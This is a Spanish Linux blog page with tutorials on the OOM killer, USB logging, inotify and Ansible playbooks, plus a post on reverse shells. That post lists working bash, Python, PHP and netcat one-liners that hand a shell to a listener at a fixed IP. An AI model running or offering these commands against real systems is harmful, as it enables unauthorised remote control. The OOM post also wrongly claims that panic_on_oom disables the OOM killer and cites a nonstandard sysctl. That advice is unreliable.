Información blog

Linux, tutoriales, noticias, sistemas, redes y seguridad informática, entre otras cosas.

Mostrando entradas con la etiqueta Bash. Mostrar todas las entradas
Mostrando entradas con la etiqueta Bash. Mostrar todas las entradas

martes, 11 de mayo de 2021

Linux OOM (Out Of Memory) Killer: Qué es y qué importancia tiene

Pongámonos en la situación teórica de que tenemos un equipo con OS basado en Linux (independientemente de la distribución) con una alta carga de memoria RAM y múltiples servicios en marcha. De repente, el equipo tiene que realizar tareas que le suponen un mayor esfuerzo en términos de memoria y esto hace que al poco tiempo tengamos errores, tales como aplicaciones que misteriosamente se han cerrado solas, o errores más graves; como, por ejemplo, que una base de datos, haya entrado en modo “recovery mode”. ¿Por qué ha ocurrido esto?  Este fenómeno proviene del concepto OOM Killer.

Omm_Killer_portada

OOM Killer, se trata de un mecanismo que posee el kernel para liberar memoria RAM de forma abrupta para evitar el colapso del sistema; es decir que se trata de un mecanismo usado para evitar situaciones críticas, el cual, generalmente, previene de forma adecuada cualquier tipo de saturación del sistema y evita el bloqueo total del equipo/servidor. Desgraciadamente, en equipos con altas cargas de trabajo que poseen algunos servicios críticos (como puede ser PostgreSQL, MySQL o Apache), este mecanismo puede resultar fatal… Para entenderlo, primero hay que saber cómo funciona este mecanismo; o mejor dicho, qué prioridades tiene éste.

Las prioridades de OOM por defecto serían:

  • Mantener un mínimo de memoria RAM libre para que el Kernel pueda funcionar correctamente
  • Elimina el mínimo número de procesos posibles
  • Priorizar procesos que consuman mucha memoria
  • No eliminar procesos que consuman poca memoria
  • Mediante múltiples algoritmos internos dictaminar qué servicio con mucha memoria eliminar en caso de tener varios para elegir.

Además de esto, OOM revisa el oom_score (puntuación OOM), que revisa si el proceso tiene una mayor o menor prioridad para ser eliminado. Por defecto la mayoría de los procesos tienen una puntuación de 0, es decir que son servicios que ni tienen la prioridad de ser eliminados, ni tampoco tienen ninguna “protección” que les impida ser eliminados.  Dicha puntuación se puede ajustar asignarle un valor que puede oscilar entre -1000 y 1000, siendo -1000 el valor que haría que un proceso, jamás se eliminase, y 1000 el valor que haría que dicho proceso fuese eliminado el primero. 

Para revisar la puntuación por defecto de un proceso concreto habría que realizar el comando: 

cat /proc/numero_proceso/oom_score

Ejemplo:

cat /proc/1032/oom_score
0

Si deseásemos ajustar la puntuación de dicho proceso, habría que modificar el fichero /proc/numero_proceso/oom_score_adj, asignándole un valor entre -1000 y 1000, según conveniencia nuestra… 

echo -100 > /proc/1032/oom_score_adj

El problema que tiene este método es que es un método de ajuste “en vivo”, es decir que si bien ajustaría la puntuación del proceso, solamente sería valido mientras el proceso estuviese activo; si dicho proceso se parase/reiniciase por cualquier motivo, la puntuación volvería a ser la misma que se tenía originalmente… 

Afortunadamente, puede modificar de forma permanente, accediendo servicio de arranque del proceso deseado…  Presuponiendo que estemos usando un sistema basado en Systemd, simplemente habría que ir a la ruta /etc/systemd/system/ o a /run/systemd/generator.late/ (dependiendo del servicio) y editar el servicio que deseemos modificar. 

Dentro del fichero que estemos editando, habrá diferentes secciones, entre las cuales se encontrará la sección “service”; dentro de dicha sección habría que añadir la línea OOMScoreAdjust= Valor_deseado. Pongamos como ejemplo el servicio apache2.service

Antes:
[Service]
Type=forking
Restart=no
TimeoutSec=5min
IgnoreSIGPIPE=no
KillMode=process
GuessMainPID=no
RemainAfterExit=yes
ExecStart=/etc/init.d/apache2 start
ExecStop=/etc/init.d/apache2 stop
ExecReload=/etc/init.d/apache2 reload

Despues:
[Service]
OOMScoreAdjust=-100
Type=forking
Restart=no
TimeoutSec=5min
IgnoreSIGPIPE=no
KillMode=process
GuessMainPID=no
RemainAfterExit=yes
ExecStart=/etc/init.d/apache2 start
ExecStop=/etc/init.d/apache2 stop
ExecReload=/etc/init.d/apache2 reload

Gracias a esto habríamos ajustado la puntuación del servicio deseado; la gran cuestión sería… ¿Por qué casi siempre son escogidos los servicios más “críticos” tales como las webs o bases de datos?  Simplemente debido a que son procesos que de por sí consumen mucha memoria, pues manejan un gran volumen de datos y transacciones… En el caso de las bases de datos, podría también deberse a alguna consulta/operación SQL que esté tomando demasiado tiempo y recursos.

Si se desea, también se puede deshabilitar directamente esta utilidad, si bien no es recomendable, ya que se trata de una funcionalidad preventiva... Aún así, si fuese 100% hacerlo, solamente habría que ejecutar:
echo 1 > /proc/sys/vm/panic_on_oom
En caso de querer hacerlo permanente, habría que añadir dicho parámetro al fichero sysctl.conf, ya que el anterior comando solamente sería válido hasta el siguiente reinicio:
echo vm.oom-kill = 1 >> /etc/sysctl.conf
Es importante resaltar que esto no hace que OOM Killer sea una servicio “dañino”; simplemente ejecuta labores que protegen a todo el sistema, la cuestión está en que a veces, en un intento de protege el sistema entero,  se pueden llegar a detener de forma accidental servicios indeseados... Por eso, es recomendable no deshabilitarlo y buscar otras vías... Una de ellas es la modificación de un valor llamado overcommit_memory...

Linux por defecto puede asignar toda la memoria del mundo sin tener en cuenta la RAM disponible, cosa que no lo hace siempre sino que lo realiza cuando lo ve necesario; nosotros podemos editar el fichero overcommit_memory dentro /proc/sys/vm/ para que siempre lo haga o que solamente lo haga en determinadas circunstancias... El fichero en cuestión tiene un dígito que oscila entre 0 y 2 y que tiene lo siguientes comportamientos:

0: Valor por defecto. El sistema decide si asignarle más memoria de la que estaba previsa al proceso.
1: Si asignamos este valor, el sistema SIEMPRE  asignará toda la memoria al proceso en sin ningún tipo de garantía de que ésta esté disponible, en    caso de verlo necesario. Esta opción es peligrosa, pues corremos riesgo que el efecto OMM Killer ocurra aún más veces.
2: Al asignar este valor, solamente se asignará un % X de la memoria total sin garantía de que ésta esté disponible, donde X sería el valor numérico especificado en /proc/sys/vm/overcommit_ratio más la memoria swap de la que dispongamos. En caso de que no se pueda asignar más memoria de la que tengamos disponible, dicho asignamiento adicional de memoria no se realizaría, manteniendo "a salvo" el sistema y ayudando en parte a que no se ejecute el OMM Killer; especialmente cuando trabajamos con bases de datos como PostgreSQL. Es por eso que de que dicho valor se recomienda muy a menudo al trabajar con bases de datos PostgresSQL para garantizar que no se consuma más memoria la necesaria. Es importante resaltar que el valor por defecto es de 50, valor que es fácilmente modificable editando el fichero /proc/sys/vm/overcommit_ratio.

La formula exacta para conocer el limite de overcommit al tener el overcommit_memory con valor 2 sería:

(RAM_total * overcommit_ratio /100) + Memoria_swap

Visto todo esto, tendríamos una mayor comprensión de cómo funciona "Out Of Memory Killer", y las medidas a las que podemos recurrir para paliarlo. 

Como siempre, la solución más sencilla para estos casos siempre sería instalar más memoria RAM en el equipo; pero eso en muchas ocasiones es utópico, con lo que siempre es interesante conocer este tipo de medidas con el fin paliar el problema y evitar demasiados quebraderos de cabeza por cierres inesperados de programas.

Espero que os haya resultado útil.

Saludos.

martes, 15 de octubre de 2019

Reverse shell, una curiosa y al mismo tiempo peligrosa técnica

Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada Reverse Shell

reverse_shell

Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad. 

Para éste método se usan dos máquinas; una "atacante" que sería la que ejecutaría la shell remota, y una "victima", que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta netcat. En el de la "victima" en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a "escuchar" en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.

Hay distintos métodos para conectarnos con la otra máquina, uno por cada "lenguaje" mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.

Primero de todo pongámonos a escuchar desde la máquina "atacante"; es tan sencillo como hacer:

nc -lvp PUERTO

Siempre es recomendable "escuchar" en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:

nc -lvp 10000

Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos "copiar", donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante bash, ya que es prácticamente estándar en todas.:

Bash:

Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple bash -i > seguido del tipo de conexión que sería /dev/tcp/ y despues la IP del objetivo seguido de /puerto; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.

bash -i >& /dev/tcp/192.168.1.112/10000 0>&1

Python:

Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.112",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.

PHP:

Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:

php -r '$sock=fsockopen("192.168.1.112",10000);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat:

Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el "atacante", podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.

nc -e /bin/bash 192.168.1.112 10000

Existen otras herramientas, como ShellReverse, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.

Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.

En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...

Se puede prevenir?

Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...

Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado "new"? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.

La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.

Espero que os haya resultado útil.

Saludos.

lunes, 19 de febrero de 2018

Cómo registrar qué USBs se han conectado en Linux

La recopilación de información es cada día más importante; en servidores siempre lo ha sido, pero en los equipos de sobremesa ha ido cobrando importancia paulatinamente  y hoy en día se ha demostrado que es importante tener registrada toda la información por si en un futuro nos pudiese llegar a ser útil. Hoy quiero hablar sobre el registro de USBs en Linux. Linux tiene la gran ventaja de tener una enorme cantidad de logs, pero los logs no siempre te registran todos los datos que uno desea y corremos el peligro de que dichos logs sean borrados o se roten mediante utilidades tales como logrotate; utilidades especialmente comunes en servidores. Por eso puede ser interesante tener una herramienta corriendo en segundo plano cuya única función sea registrar qué USBs se han conectado/desconectado, la hora en la que lo han hecho, datos útiles tales como el número de serie y de paso, registrar su actividad a ser posible.

portada_registro_usb

En este caso no optaremos a herramientas de terceros sino que tiraremos de conceptos de Linux y los aglutinaremos en un script que automatice todo ello... Además, en este caso, no almacenaremos la información en un fichero en texto plano, sino que vamos a almacenarla en una mini base de datos en formato SQLite... El motivo por el cual se ha optado por dicha opción es simple: SQLite requiere instalar pocas herramientas en el equipo lo cual es perfecto en equipos de sobremesa; además es una base de datos que consume muy pocos recursos por parte del equipo y al mismo tiempo tiene la gran ventaja de seguir siendo una base de datos basada en el lenguaje SQL, con lo cual podríamos hacer consultar de su información mediante consultas SQL mediante SELECTs con sus respectivos filtros, etc... Haciendo que la consulta de la información en el futuro sea muchísimo más eficiente, con la contrapartida de que se requieren unos conocimientos básicos de SQL para poder sacarle partido.

Teniendo esto en cuenta, comencemos con la instalación de las dependencias necesarias para que nuestra solución funcione... Dependiendo de qué distribución tengamos y las herramientas que tengamos instaladas, puede ser que ya tengamos todo lo necesario, pero para asegurarnos haremos:
apt-get install sqlite
Teniendo todo preparado, pasaríamos a crearnos primero la mini base de datos que almacenará la información de los USBs. En mi caso en particular he creado la base de datos en /var y la he llamado listaUsbs.db con lo que su creación sería tal que así:
sqlite /var/listaUSBs.db
Esto no solo crearía la base de datos, sino que estaríamos dentro de ella, con lo que pasaríamos a crear la tabla en cuestión. En mi caso he llamado a la tabla listausbs y su creación (junto con sus respectivas columnas) sería la siguiente:
CREATE TABLE lista_usbs (NOMBRE,FECHA_DETECT,FECHA_DESCONEX,
IDVENDOR,IDPRODUCT,MANUFACT,IPRODUCT,SERIAL);
En esta base de datos guardaremos toda la información importante tal como el nombre completo, la fecha de detección del USB, el fabricante y el numero de serie... Información que puede sernos útil en el futuro. Con esto claro, podemos crear un script en el que por un lado monitoricemos en tiempo real toda la actividad USB mediante tcpdump, y por otro lado también podemos tener constancia de qué USB se ha conectado en qué momento; esto lo podemos lograr mediante el siguiente script, al cual yo he llamado registrador_usbs.sh y que ha sido probado en Debian 8:


#!/bin/bash

#CAPTURAMOS TODO EL TRAFICO USB
modprobe usbmon
nohup tcpdump -i usbmon1 -w /tmp/captura.cap &
while true;
do
        #COMPROBAMOS SI SE HA CONECTADO ALGUN USB NUEVO
        if [ ! -f /tmp/listausbs2.txt ];
        then
                touch /tmp/listausbs2.txt
        fi
        lsusb > /tmp/listausbs.txt
        diff /tmp/listausbs.txt /tmp/listausbs2.txt
        if [ $? -eq 1 ]
        then
                diff /tmp/listausbs.txt /tmp/listausbs2.txt > /tmp/cambio.txt
                cat /tmp/cambio.txt |tail -n +2 > /tmp/cambio2.txt
                while read CAMBIO;
                do
                echo ${CAMBIO} > /tmp/cambio3.txt
                cat /tmp/cambio3.txt |grep "<"
                if [ $? -eq 0 ];
                then
                        #SI ES UNA CONEXION NUEVA LA REGISTRAMOS
                        NOMBRE="$( cat /tmp/cambio3.txt |cut -d '<' -f 2 |cut -d ':' -f 2- | cut -d 'D' -f 2- )"
                        echo $NOMBRE
                        lsusb -D /dev/bus/usb/$(lsusb |grep "${NOMBRE}" |awk {'print $2'})/$(lsusb |grep "${NOMBRE}" |awk {'print $4'} |cut -d ":" -f 1) > /tmp/usb_detallado.txt
                        FECHA_DETECT=$(date)
                        FECHA_DESCONEX=''
                        IDVENDOR=$(cat /tmp/usb_detallado.txt |grep idVendor |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        IDPRODUCT=$(cat /tmp/usb_detallado.txt |grep idProduct |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        MANUFACT=$(cat /tmp/usb_detallado.txt |grep iManufacturer |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        IPRODUCT=$(cat /tmp/usb_detallado.txt |grep iProduct |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        SERIAL=$(cat /tmp/usb_detallado.txt |grep iSerial |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        sqlite /var/listaUSBs.db "INSERT INTO lista_usbs VALUES ('${NOMBRE}','${FECHA_DETECT}','${FECHA_DESCONEX}','${IDVENDOR}','${IDPRODUCT}','${MANUFACT}','${IPRODUCT}','${SERIAL}');"
                        rm /tmp/usb_detallado.txt
                fi
                cat /tmp/cambio3.txt |grep ">"
                if [ $? -eq 0 ];
                then
                        #SI ES UNA DESCONEXION ACTUALIZAMOS LOS DATOS CORRESPONDIENTES
                        NOMBRE="$( cat /tmp/cambio3.txt |cut -d '>' -f 2 |cut -d ':' -f 2- | cut -d 'D' -f 2- )"
                        FECHA_DESCONEX=$(date)
                        sqlite /var/listaUSBs.db "UPDATE lista_usbs SET FECHA_DESCONEX='${FECHA_DESCONEX}' WHERE FECHA_DESCONEX='' AND NOMBRE='${NOMBRE}';"
                fi
                done < /tmp/cambio2.txt
                rm /tmp/cambio.txt
                rm /tmp/cambio2.txt
                rm /tmp/cambio3.txt
        fi
        mv /tmp/listausbs.txt /tmp/listausbs2.txt
done

Con este script, solamente ejecutándolo en segundo plano estaríamos monitorizando en tiempo real toda la actividad mediante tcpdump, y registrándola en nuestra base de datos SQLite. Solamente habría que escribir:
./registrador_usbs.sh >/dev/null &
Dicha información podría ser consultada en el futuro mediante consultas SQL tales como:

Para ver todos los registros:
sqlite /var/listaUSBs.db "SELECT * FROM lista_usbs;"
Para ver un numero de serie concreto:
sqlite /var/listaUSBs.db "SELECT * FROM lista_usbs WHERE 
SERIAL='3 20060413092100000';"
Para eliminar todos los registros:
sqlite /var/listaUSBs.db "DELETE FROM lista_usbs;"

Con ello tendríamos todo monitorizado y registrado en nuestro equipo ganando un gran control sobre la actividad USB en nuestro equipo. Obviamente dicho script sería solamente un ejemplo teórico que puede ser modificado a nuestro gusto para que se adapte lo mejor posible a nuestras necesidades.

Espero que os haya resultado útil.

Saludos.

jueves, 1 de febrero de 2018

Cómo monitorizar eventos de un directorio en tiempo real con inotify en Linux

En ocasiones podemos vernos en la situación de querer tener un control de lo que ocurre dentro de un directorio; tal es así el control que queremos que podemos llegar a desear ver todos los eventos en tiempo real que ocurren dentro de un directorio, eventos tales como el listado de archivos, la creación y modificación de estos e incluso la eliminación. Generalmente podemos intentar jugar el comando history para ver los últimos comandos, examinar las últimas fechas de modificación de los ficheros, e incluso examinar sus metadatos, con el fin de averiguar lo máximo posible de lo que ocurre en nuestro equipo; especialmente cuando éste está siendo accedido por varios usuarios a la vez o simplemente tenemos miedo de que lo esté siendo. Es por ello que para ocasiones como esas puede ser muy interesante recurrir a herramientas de observación de eventos en tiempo real para Linux tales como inotify.

Inotify_portada

Inotify es una herramienta con la capacidad de observar eventos en tiempo real dentro de un directorio, lo que nos otorga un gran conocimiento en comparación con otras herramientas, si bien, tal y como he matizado al principio, requiere monitorizar en tiempo real para poder ser funcional. Esta utilidad no está instalada por defecto en el sistema, sino que requiere ser instalada, si bien afortunadamente es realmente sencillo pues está incluida dentro de los repositorios oficiales del sistema:
apt-get install inotify-tools
Esto hará que se instalen dos herramientas: Inotifywait e Inotifywatch. El que nos interesa en concreto es Inotifywait pues ofrece una enorme información.

Un modo muy básico de usar Inotifywait sería de la siguiente forma:
inotifywait /tmp
El problema que tiene usar este comando directamente es que efectivamente escuchará los eventos de dicho directorio, pero no será capaz de escuchar los eventos de los subdirectorios de éste y además al recibir un solo evento inotifywait se cerraría automáticamente. Es por ello que conviene conocer cómo usarla para poder sacarle de verdad provecho.

Hay diferentes parámetros y opciones, pero los más importantes serían los de a continuación:

Comencemos con el parámetro -m; La inclusión de este parámetro hará que inotify entre en modo monitorización, con lo que podrá recibir eventos continuamente sin llegar a cerrarse a menos que nosotros le mandemos la señal necesaria para que se detenga. Dicho parámetro también podría especificarse también mediante --monitor. Otro parámetro muy útil sería el -r; Al usar este parámetro estaríamos indicando que se monitorizase todo el directorio en cuestión y también todos los subdirectorios. El parámetro en cuestión también podría especificarse mediante --recursive. El último que en mi opinión es también importante tener en cuenta sería el -e; Este último es más "opcional" que los dos anteriores, pero puede ser de una enorme utilidad, ya que sirve de filtrador de eventos; es decir que con dicho parámetro veríamos los eventos que nosotros queramos y no todos, que sería lo que se nos mostraría por defecto. El parámetro también puede ser llamado mediante --events. Obviamente, para poder filtrar los eventos, habría que conocer cuales son... Son un número considerable y, desgraciadamente, no todos son fáciles de recordar, pero es bueno conocer al menos su existencia:

  • access: Este sería uno de los más veríamos, ya que indica que un fichero o el contenido de un directorio ha sido leído. 
  • modify: Este parámetro haría que se nos notifique de los cambios que se realicen en el entorno que estamos monitorizando.
  • attrib: Este es ligeramente más raro que el resto, pues solamente notificaría los cambios en los atributos de los ficheros o directorios.
  • close_nowrite: Se notifica cuando se ha cerrado un fichero o directorio que ha sido abierto en modo solo lectura.
  • close_write: Se notifica cuando se cierra un fichero o directorio en modo escritura.
  • open: Especifica que un fichero o directorio ha sido abierto; este mensaje también es de los que más aparecen junto con access.
  • moved_to: Este evento implica que algo ha sido movido hacia el directorio que estamos monitorizando.
  • moved_from: Este evento indica que algo ha sido movido desde el directorio que estamos monitorizando.
  • move: Este evento indica que va a haber una actividad de movimiento dentro del directorio que monitorizamos, ya sea desde o hacia el directorio en cuestión.
  • create: En este caso se indicaría que algo (ya sea fichero o directorio) ha sido creado dentro del lugar que estamos monitorizando.
  • delete: Al contrario que create, en este caso se detectaría que algo se ha eliminado.
  • delete_self: Esto indica que el fichero o directorio que estamos monitorizando acaba de ser eliminado.
  • umount: Aquí se detectaría que el sistema de ficheros en que se aloja aquello que estamos monitorizando, acaba de ser desmontado.

Es conveniente resaltar que generalmente querremos ver todos los eventos, pero es importante conocer qué eventos se monitorizan para así poder hacer filtrados en caso de tener una necesidad muy concreta...

Teniendo estos conceptos claros podemos hacer cosas como la siguiente:
inotifywait -r -m /tmp
Con dicho comando estaríamos monitorizando todos los eventos dentro de la carpeta /tmp y todos sus subdirectorios; además estaría recibiendo constantemente eventos hasta que se le indique lo contrario, con lo que si abriésemos otra terminal podríamos realizar las acciones de a continuación:
cd /tmp && ls && touch test && echo prueba > test && rm test
Si viésemos los eventos visualizados por inotifywait veríamos lo siguiente:

inotifywait

Al final se estarían viendo en tiempo real todas las acciones realizadas, desde la creación del archivo hasta la eliminación de éste. Además si queremos podemos dejar que el proceso inotifywait esté corriendo en segundo plano y que vuelque todo el contenido en fichero para poder analizarlo más tarde con tranquilidad, extrayendo las conclusiones que deseemos. Esto requeriría hacer simplemente la siguiente modificación en el anterior comando:
inotifywait -r -m /tmp > /var/inotify.log &
Dicho proceso tendría que ser finalizado mediante un kill, o llevado a primer plano para poder finalizarse.

Como podéis ver el tener controlado un directorio o un grupo de éstos puede llegar a ser útil pues gracias a ello podemos tener un mayor conocimiento de lo que ocurre dentro de nuestro sistema.

Espero que os haya resultado útil.

Saludos.

lunes, 15 de enero de 2018

Cómo usar los playbooks con Ansible en Linux

Continuando con el anterior artículo, en esta ocasión vamos a profundizar un poco más en el uso de la herramienta Ansible. Hasta ahora hemos podido mandar ordenes individuales desde el controlador al resto de equipos, a los que llamaremos nodos, pero el problema radica en que por el momento lo único que estamos haciendo es mandar una orden individual a todos... Una orden que puede ser muy práctica y que puede ahorrarnos mucho tiempo, pero que no es lo más práctico cuando queremos gestionar varios servicios y tareas... Es por ello que en este aparado vamos a centrarnos en uno de los aspectos más importantes que ofrece Ansible: Los playbooks. Antes de continuar, es recomendable que, si no se tienen noción alguna de Ansible, os leáis el anterior artículo.

playbooks_portada

Un playbook no es más que un fichero que contiene las ordenes correspondientes que queremos enviar a todos los nodos; ordenes que se irían ejecutando secuencialmente según hallamos escrito en el fichero. Dicho playbook, estará escrito en lenguaje YMAL y tendrá una extensión .yml. La lógica es parecida a la seguida con las ordenes y los módulos usados en el anterior apartado, pero con más opciones y con la posibilidad de crear un conjunto de ordenes de forma estructurada y ordenada. La mejor forma de entenderlo es con un pequeño ejemplo inicial. Para ello, para tener todo bien organizado, vamos a crear un directorio llamado PLAYBOOKS dentro de /etc/ansible y dentro de dicho directorio vamos a crear un fichero llamado master.yml.
mkdir /etc/ansible/PLAYBOOKS
touch /etc/ansible/PLAYBOOKS/master.yml
Dicho fichero tendrá el contenido de a continuación:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
...

Puede parecer complicado, pero si lo desgranamos, veremos que es muy sencillo:

  • Los primeros tres guiones indican el comienzo del fichero. Todo fichero YMAL debe llevarlo para que Ansible pueda leerlo correctamente.
  • Cualquier línea que comience con una # será considerado un comentario, tal y como ocurre en los scripts de bash.
  • Después comenzaremos con la primera sección de todas, que sería de a qué grupo (especificado previamente dentro del fichero /etc/ansible/hosts) queremos hacer referencia. Allí podemos poner el nombre de un grupo que hayamos creado o, en caso de quererlo, decir que se envíen a todas las IPs y hosts que aparezcan dentro del fichero. En nuestro caso hemos optado por dicha opción, lo cual se representa mediante - hosts: all. Es muy importante comenzar con dicho - pues marcaría el inicio de las acciones y reglas dirigidas a dicho grupo.
  • Tras decir eso, habría que decir a qué usuario remoto nos queremos conectar. Aquí podemos escoger el que queramos, pero en mi caso, ya que he preparado el usuario root del otro equipo para poder conectarme directamente a él sin contraseña alguna, optaré por usar dicho usuario.
  • Ahora habría que pasar a la parte de las tareas... Dichas tareas se definen mediante, el nombre tasks: y después debajo de éste empezaríamos a mencionar las tareas una por una; tareas que siempre empezarían con un -.
  • Toda tarea está compuesta por, cómo mínimo, 2 partes. La primera parte sería meramente informativa. Se pondría un nombre descriptivo que nos mostraría Ansible antes de ejecutar la tarea. Dicho nombre se especificaría mediante - name. La segunda parte sería la tarea a ejecutar, que constaría de: Módulo: argumentos. En este caso hemos usado el módulo service, y los argumentos usados serían name, state y enabled. Se pueden poner tantas tareas como se quieran, siempre y cuando se siga la misma estructura que la que acabo de mencionar.
  • Por último, siempre al final de cada playbook habría que escribir tres puntos.

Este ejemplo es muy sencillo y puede evolucionar a mucho más, poniendo diferentes hosts y tareas, pero sirve de buena base introductoria... Para ejecutar dicho playbook, simplemente habría que escribir el comando:
ansible-playbook /etc/ansible/PLAYBOOKS/master.yml
El contenido del playbook, al hacer referencia a una única tarea, sería lo equivalente al siguiente comando de Ansible:
ansible all -m service -a \
"name=ntp state=started enabled=yes"
Vamos a poner un ejemplo más completo en esta ocasión; supongamos que queramos asegurarnos de que el servicio NTP tenga la última versión; además también vamos a verificar que el servicio Asterisk está en marcha. Por otro lado vamos a crear una tarea exclusiva para el grupo llamado PRUEBAS; una tarea que consistirá en revisar que tenemos la última versión del paquete apache2. Al final sería aplicara los mismos conceptos que hemos visto arriba, pero de forma un poco más amplia, dejando el fichero con el siguiente aspecto:

---
#Este es el playbook maestro

#Reglas para todos los hosts
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
  - name: Verificar ultima version NTP
    apt: name=ntp state=latest
  - name: Asegurarse que Asterisk esta en marcha
    service: name=asterisk state=started enabled=yes

# Reglas para el grupo PRUEBAS
- hosts: PRUEBAS
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    service: name=apache2 state=started enabled=yes
...

Como podéis ver siempre mantendrá la misma lógica... Es decir primero irían los hosts de destino, luego el usuario con el que queremos hacer las acciones y por último las tareas a realizar.

Una característica muy interesante que podemos aprovechar en los playbooks, es el uso de handlers. Un handler es una tarea que se ejecuta únicamente en caso de que una tarea concreta (especificada por nosotros) haya realizado un cambio de estado. Por ejemplo si tuviésemos un handler preparado para cuando hubiese un cambio de estado en Apache2, y una tarea que se asegurase de que apache2 tuviese la última versión, en caso de que Apache2 no la tuviese, el handler se ejecutaría. Veamos un ejemplo usando como referencia el mencionado Apache2:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    apt: name=apache2 state=latest
    notify: "Reiniciar Apache2"
  handlers:
  - name: Reiniciar apache si es necesario
    service: name=apache2 state=restarted
    listen: "Reiniciar Apache2"
...

Como podéis observar, el handler está a la escucha de que le llegue una notificación; notificación que enviaríamos desde la tarea de verificación de la última versión de Apache2. Con lo que siempre que trabajásemos con handlers, trabajaríamos de la misma forma que con las tareas, pero con la diferencia de que desde la tarea tendríamos que notificar al handler mediante un notify, y desde el handler tendríamos que escuchar a que nos llegase una notificación concreta mediante un listen.

